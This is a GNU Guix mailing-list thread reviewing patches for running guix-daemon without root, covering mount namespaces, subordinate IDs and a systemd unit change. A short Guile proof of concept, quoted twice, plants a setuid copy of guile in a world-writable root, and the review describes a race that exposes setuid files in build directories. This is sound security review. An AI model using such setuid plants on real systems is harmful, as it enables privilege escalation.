User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > I’ve sent a v2
    addressing some of the issues you mentioned before. > > Crucially, this one
    remains: > >> #~(let ((guile (string-append (assoc-ref %guile-build-info
   >> 'bindir) >> "/guile"))) >> (c [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 2.5 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > I’ve sent a v2
    addressing some of the issues you mentioned before. > > Crucially, this one
    remains: > >> #~(let ((guile (string-append (assoc-ref %guile-build-info
   >> 'bindir) >> "/guile"))) >> (c [...] 
 
 Content analysis details:   (2.5 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 2.5 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > I’ve sent a v2
    addressing some of the issues you mentioned before. > > Crucially, this one
    remains: > >> #~(let ((guile (string-append (assoc-ref %guile-build-info
   >> 'bindir) >> "/guile"))) >> (c [...] 
 
 Content analysis details:   (2.5 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> I=E2=80=99ve sent a v2 addressing some of the issues you mentioned before.
>
> Crucially, this one remains:
>
>>       #~(let ((guile (string-append (assoc-ref %guile-build-info
>>                                                'bindir)
>>                                     "/guile")))
>>           (chmod "/" #o777)
>>           (copy-file guile "/guile")
>>           (chmod "/guile" #o6755)
>>           (sleep 1000)
>
> That is, / is currently writable inside the build environment, and
> that=E2=80=99s:
>
>   1. a security issue, but it could be addressed with a /top
>      sub-directory as you wrote;
>
>   2. a reproducibility issue because a build process now be able to
>      create/modify files anywhere.
>
> I looked for solutions to this and couldn=E2=80=99t find anything so far.
>
> In particular, re-mounting / read-only makes everything beneath it
> read-only, including mount points that were initially read-write.  It
> might be that the wealth of MS_ options could be used to address that,
> but honestly, it=E2=80=99s a mess and a maze (=E2=80=9Cshared subtrees=E2=
=80=9D?).

(Note: I've since seen your followup email on this, but I think there's
still some interesting ideas in what I wrote before then)

Unless there is special behavior for /, I don't see this (every mount
point beneath it becoming read-only) happening.  When a bind-mount is
created, it inherits its options from the filesystem that the source is
on ("The bind mount has the same mount options as the underlying mount"
in mount(2)).  This does not prevent MS_REMOUNT from being used with the
MS_RDONLY bit zeroed to subsequently make the newly-created mount point
writable, nor, to my knowledge, does it modify the flags of any existing
mount points underneath the bind-mount when MS_REC is used with MS_BIND.

I expect that it should work to:
1. go through the entire normal chroot setup
2. bind-mount /gnu/store and /tmp to themselves within the chroot using
   MS_REC so that they are treated as distinct filesystems but also
   still have their existing bind-mounts underneath them
3. bind-mount / to itself using MS_REC
4. remount / read-only using MS_RDONLY | MS_REMOUNT | MS_BIND

This should ensure that the only writable files in the chroot are those
either in /tmp, /gnu/store, or in another filesystem inside the chroot
(e.g. /dev, /proc, any of the bind mounts in /gnu/store if we were to
forget to remount them MS_RDONLY, etc).

But note that this will cause open(2) and chmod(2) for filenames in the
same filesystem as / to return EROFS instead of EACCES, and it will
still be visible to builders that it's owned by the build user.  For
that matter the same difference will be observable for bind-mounted
store items, but this should matter less because we are already in the
practice of registered store items being in a store mounted read-only in
practical usage.

We could try setting the user-writable permission bit to 0 for /, so
that it will give EACCES, which might avoid some of the worst of the
unreproducibility.

Another option would be to use a root-owned "template" root directory
that just contains the (empty) subdirectories gnu, gnu/store, tmp, proc,
and dev.  This template directory would become the root directory used
by pivot_root, with individual filesystems and bind mounts created on
top of its subdirectories inside the container's mount namespace.  This
requires no special permissions, the template directory just has to
exist and be publicly-visible.

It does occur to me now, though, that we wouldn't be able to actually
map any other uids within the container to anything without CAP_SETUID,
so / would end up appearing as being owned by the overflow uid.  Aside
from the actual number, though, it should behave like it's owned by
root, EACCES and all.  I suppose the same behavior would also be
observed if the template were owned by any user other than the build
user, not just root.

> Alternatively, I wondered if we could make / owned by the overflow user,
> but that=E2=80=99s probably not possible.
>
> Perhaps yet another option would be to use subordinate IDs to map two
> different users in the container, but that sounds more involved and I=E2=
=80=99m
> not sure how to get that done.

My still-young understanding of subordinate IDs is that they're not
really a kernel thing, but rather are honored by two setuid programs
from the shadow package, newuidmap and newgidmap, so that would be a bit
like using a configured sudo, albeit probably easier to integrate with
the daemon since they basically just replace the initializeUserNamespace
procedure with running a command.

We would basically just pick a uid and gid for a guixbuild user (there's
no reason not to use the regular user-and-group-adding processes for
this), then add entries in /etc/subuid and /etc/subgid indicating that
guix-daemon is allowed to map exactly that user and exactly that group,
as well as its own user and group.  We would then add a case in
initializeUserNamespace that would fork+exec+wait calls to newuidmap and
newgidmap that map two uids and gids: uid and gid 0 map to the
guix-daemon user and group, and guestUID and guestGID are mapped to the
guixbuild user and group.

In the child, we initially have CAP_SETUID within the user namespace,
and can therefore set our user and group ids to the newly-mapped
guixbuild user / group.  The directories created during the container
setup will all appear to be owned by uid and gid 0.  Note that when
creating the chroot store we'll need to make sure that its group is
guixbuild so that the builder can write to it, and I'm not sure how to
handle chown'ing of build directories in this case (is it even possible
for two cooperating unprivileged users to transfer ownership of an
inode?).

The earliest reference I can find to new*map in the shadow changelog is
from 2013, so it's at least that old.  We should probably keep the
map-single-id case around in initializeUserNamespace as a fallback for
the fully-unprivileged use case, e.g. test-env.

While this adds an external dependency on a setuid program, it is at
least a setuid program that should be fairly common and have a lot of
security-minded attention on it, and be less complex than something like
sudo.  In exchange, we would get the cleanest rootless-with-an-asterisk
daemon configuration I can think of, with no known reproducibility
issues, little modification to the daemon required, and the extra safety
net of a dedicated build user.

It sounds like a pretty decent route to take for the
privileged-but-rootless case.


> @@ -2707,8 +2769,25 @@ void DerivationGoal::deleteTmpDir(bool force)
>              // Change the ownership if clientUid is set. Never change the
>              // ownership or the group to "root" for security reasons.
>              if (settings.clientUid !=3D (uid_t) -1 && settings.clientUid=
 !=3D 0) {
> -                _chown(tmpDir, settings.clientUid,
> -                       settings.clientGid !=3D 0 ? settings.clientGid : =
-1);
> +		uid_t uid =3D settings.clientUid;
> +		gid_t gid =3D settings.clientGid !=3D 0 ? settings.clientGid : -1;
> +		try {
> +		    _chown(tmpDir, uid, gid);
> +
> +		    if (getuid() !=3D 0) {
> +			/* If, without being root, the '_chown' call above
> +			   succeeded, then it means we have CAP_CHOWN.  Retake
> +			   ownership of tmpDir itself so it can be renamed
> +			   below.  */
> +			chown(tmpDir.c_str(), getuid(), getgid());
> +		    }
> +		} catch (SysError & e) {
> +		    /* When running as an unprivileged user and without
> +		       CAP_CHOWN, we cannot chown the build tree.  Print a
> +		       message and keep going.  */
> +		    printMsg(lvlInfo, format("cannot change ownership of build directo=
ry '%1%': %2%")
> +			     % tmpDir % strerror(e.errNo));
> +		}
>=20=20
>  		if (top !=3D tmpDir) {
>  		    // Rename tmpDir to its parent, with an intermediate step.

(Note: pedantic aside here, there aren't currently issues with what is
written immediately below as long as the top directory is used to shield
the tmpDir - the top directory is doing a LOT of heavy lifting)

It shouldn't be a problem in practice due to top only being
owner-accessible, but I feel like I should still note that the second
chown here would be of a file that was previously owned by the client
user, and as such could, in the most general case, have been replaced
with anything, such as a setuid program or symlink.  While chown(2)
resets setuid and setgid bits for unprivileged users, it's unspecified
by posix whether this occurs for privileged users.  Linux currently does
this permission resetting for privileged users, but it wouldn't surprise
me if there's still ways to screw things up by chown'ing a symlink.

Also, _chown does the actual chown on descent, not on return, so it
first chowns a directory and then goes through its contents.  This means
that, again, if there weren't the top directory there to block access,
it would be possible to access a setuid program before it was chown'ed.

We seem to be relying entirely on the Linux behavior of chown to reset
setuid / setgid bits.  And the man page isn't even entirely clear on
this: it says those bits are cleared for "an unprivileged user", that a
"privileged" user here means one with CAP_CHOWN, and that in Linux since
2.2.13 "root" is treated like other users.  This doesn't answer the
question of what happens for privileged non-root users.  It's also not
clear what happens when a user chown's a file with a uid and gid that
aren't -1, but are the same as the current owner and group of the file
(experimentally, it still resets the setid bits).  It would probably be
a good idea to explicitly reset these bits in _chown, and perhaps modify
_chown to operate bottom-up instead of top-down.  Alternatively, we
could use secureFilePerms before calling _chown.

Also, not shown here, but there's a chmod(tmpDir.c_str(), 0755) shortly
before all of this, which means there's a window before _chown could be
called in which a setuid program could be exposed, if not for the top
directory shielding tmpDir.  And if settings.clientUid is -1 or 0, then
that window has no end.

Just something to keep in mind.

(End pedantic aside)



Now, for the non-pedantic, significant issue that I came across while
writing all that: previously, it was not possible for the
tmpDir-exposing code to be reached without doing the _chown that also
reset setuid and setgid bits.  But with this patch, in the non-root,
non-CAP_CHOWN case (which is what is currently proposed for Guix
System), it can be reached through the catch clause.  In that case it
will expose tmpDir without changing any permission bits of files beneath
it, allowing anybody who can access a setuid program in tmpDir (which,
due to that 0755 chmod, is "everybody") to take control of the build
user (which in this case would be guix-daemon).

Going by the "Running unprivileged but with CAP_CHOWN" comment, it would
seem that code is meant to only be reached by reaching the end of the
"try" block, not by reaching the end of the "catch" block.  I think it
would be a good idea to call secureFilePerms(tmpDir) before any attempt
at chown'ing.



I still think it would be a good idea to call unshare to create an extra
user and mount namespace just before executing the builder in the
unprivileged case, just to be sure that the mount-locking behavior is
triggered in a way that is documented.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmev8jAXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJxhVQgAiklMsjAnY7wew/w14L0WhFXC
+esDHM9NfYrtJtozzjTuliqmRahG6G+y05Fi6PGRd7swJ6G2AjgpkM8MRVAt9wwC
2xigqEVy9y/kwGavnOjH2Dmapbek2nBXwjW1fAUgTZHEpFBiEOFHRRL34dEXJsJc
CA++5/rZxhA5BnBhgh+pxAshKgq/cfljq5kulelV6rHZlfOHKk8SpVQcXEf6tvue
jItLW8g9OirAjPPbI5hzE8Qy+fCw9GbAOE2zj34zqFVWkHTQmUkrpu5OOOR7rhUv
LDwM5Tw9jx0pBMmoxq5rfuD6CVdNLUj/H14zTJoaXfw3fGwrTo1GQGiOo8b3ew==
=AduA
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Feb 2025 15:23:39 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 14 10:23:39 2025
Received: from localhost ([127.0.0.1]:51200 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tixXW-0005g2-QZ
	for submit <at> debbugs.gnu.org; Fri, 14 Feb 2025 10:23:39 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:44404)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tixXV-0005fm-5z
 for 75810 <at> debbugs.gnu.org; Fri, 14 Feb 2025 10:23:37 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tixXP-0008TT-4b; Fri, 14 Feb 2025 10:23:31 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=e6PUNMTXIvuZUwE6yr8lLYrCSAO/UuoYOKh2/mF7new=; b=F0+9MZatRCOQAcxuQl23
 9nZyY2sWGT6VCjqcClbFYTV1lki0lJ6nsgAXVU4CMUFZgkMAXLNquE0WvbRm7cSLQMqf+iUanH0mO
 ynM0r23F4nGsoW8jasQ+Ll2oEaSRDRmsRnNxcZ+jImuf41q2YQEjZf6lY4xt+AkRwRGtpztWBhZmG
 8WCgiThChCRL3iWTfl86+TnP3b30aQw1FBUU3t+q0r5/sbYdZYY/Kj9OMBbBzuj8bNZk/75clqBSp
 xqquS4hBunOaxBGTz2kcfLiekldR+b8zhkXi1KxfJqaSrz64x0zTeDYIPq3xETIjYz9KMGr6M6VQY
 MPOqKhXilpvUpg==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <877c5u2ct5.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Thu, 13 Feb 2025 14:29:10 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
Date: Fri, 14 Feb 2025 16:23:28 +0100
Message-ID: <87v7tcy2hb.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Ludovic Court=C3=A8s <ludo@HIDDEN> skribis:

> In particular, re-mounting / read-only makes everything beneath it
> read-only, including mount points that were initially read-write.

OK, I think I was sleepy or something yesterday: it=E2=80=99s enough to cre=
ate
separate mount points for /tmp and for the store in the mount
namespaces, and these will remain writable after / has been remounted
read-only.  Working on it!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 13:29:23 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 08:29:23 2025
Received: from localhost ([127.0.0.1]:41379 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiZHO-0004mw-U8
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 08:29:23 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:38006)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiZHN-0004mf-3G
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 08:29:21 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiZHF-0005ZU-Ay; Thu, 13 Feb 2025 08:29:13 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=l/esS911RSdwAeAkcZ+SdNMpJFVwnU9hjVw/Fq6zTes=; b=MyCTQ0mKX9OSWlgfSKR9
 mBc3IN+gz/rabYfreyLNie+m3D31Q30wiMlM52JMhjuRck6CZCTAsd+bkyypuc4HrV8Yx4lbx6LxF
 TTkjnyChIrxfjTZZ+5HSeENKDHPWW4KO70bj9mKVQc+vEuE1q4MKkhGTNDwRvZOUQCqZoy+qTqkX+
 fOanrkH/77HQso3gA89pRDKbmQJBoQo447Wfe26PK6JI68E3LPoiQ3ciCi9WGvGHgv0Ds/tWq6A9G
 XZ9VDwmlOquAJP2nfjAzL+HhrELKpRpeTDsNyPQveVBCQFktpHcrYjiW5yAiMfLZFVYz2BI6cHS/2
 KROoIBlQP3Tv8w==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <875xluehn7.fsf@HIDDEN> (Reepca Russelstein's message of
 "Fri, 31 Jan 2025 16:35:24 -0600")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN>
Date: Thu, 13 Feb 2025 14:29:10 +0100
Message-ID: <877c5u2ct5.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello Reepca,

Thanks a lot for your feedback, very useful as always.

I=E2=80=99ve sent a v2 addressing some of the issues you mentioned before.

Crucially, this one remains:

>       #~(let ((guile (string-append (assoc-ref %guile-build-info
>                                                'bindir)
>                                     "/guile")))
>           (chmod "/" #o777)
>           (copy-file guile "/guile")
>           (chmod "/guile" #o6755)
>           (sleep 1000)

That is, / is currently writable inside the build environment, and
that=E2=80=99s:

  1. a security issue, but it could be addressed with a /top
     sub-directory as you wrote;

  2. a reproducibility issue because a build process now be able to
     create/modify files anywhere.

I looked for solutions to this and couldn=E2=80=99t find anything so far.

In particular, re-mounting / read-only makes everything beneath it
read-only, including mount points that were initially read-write.  It
might be that the wealth of MS_ options could be used to address that,
but honestly, it=E2=80=99s a mess and a maze (=E2=80=9Cshared subtrees=E2=
=80=9D?).
Alternatively, I wondered if we could make / owned by the overflow user,
but that=E2=80=99s probably not possible.

Perhaps yet another option would be to use subordinate IDs to map two
different users in the container, but that sounds more involved and I=E2=80=
=99m
not sure how to get that done.

Thoughts?

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:14:00 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:14:00 2025
Received: from localhost ([127.0.0.1]:41142 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6R-0003f0-HF
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:59 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:41578)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY64-0003ci-Ma
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5z-0001DJ-Bn; Thu, 13 Feb 2025 07:13:31 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=SAvT4z24GIwTeHQpKPl/539zwByt/TDk4vE7n2M+zME=; b=h67w/jtcHIqsVB0qmmG/
 J1P84SrKP159YVZ48w2RdQ5zmVLh4hcTg/pqsYAMb/KWtPHDEJN6r1BQ+W2gQOceyNh6eqgStuXBd
 NKm/slJV7BfdYqkU2rhGBHEn11h3EHcc+qpHBNv1x79WuIg7dGTwYaKpOxRoIOT/tBrm+PzYQc5EM
 P1yklga+NAWB+R9T4ExkvKtUqRGB6SfyBgi+NlxEKRb+7Cx1PfAiWWTLZOQ96SPG8t75onsSQQO6r
 nhx1ePt1ZPQw0syI192uNy8QoukIWfnJ18A/Duco0u6Ug16KF2ghrH27CrdAqwgMJE/G5WJKno0se
 f1rv3opQEQiLiA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 8/9] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Thu, 13 Feb 2025 13:13:11 +0100
Message-ID: <a706daddbcc0193cda052bd3e0c76c6cf355a9bf.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(User, AmbientCapabilities): New fields.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/guix-daemon.service.in | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1b..f9f0b28b356 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -7,9 +7,19 @@ Description=Build daemon for GNU Guix
 
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
 Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:59 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:58 2025
Received: from localhost ([127.0.0.1]:41140 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6N-0003ej-5f
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:58 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51210)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0003cJ-V8
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:39 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5u-0001Br-9A; Thu, 13 Feb 2025 07:13:26 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=BOeQoIgQrfkZtIX93BwNljFCfZnlkIb/zLXPFnLkIxI=; b=gxlH90pnYCnG/xTuctH8
 fAOISy6CqyIuwMEDz/hN9atylBjrKRFr6TWC939E/4JY9k66j4/WySxWaSBaZhnRHBl8dmz/ZXNKf
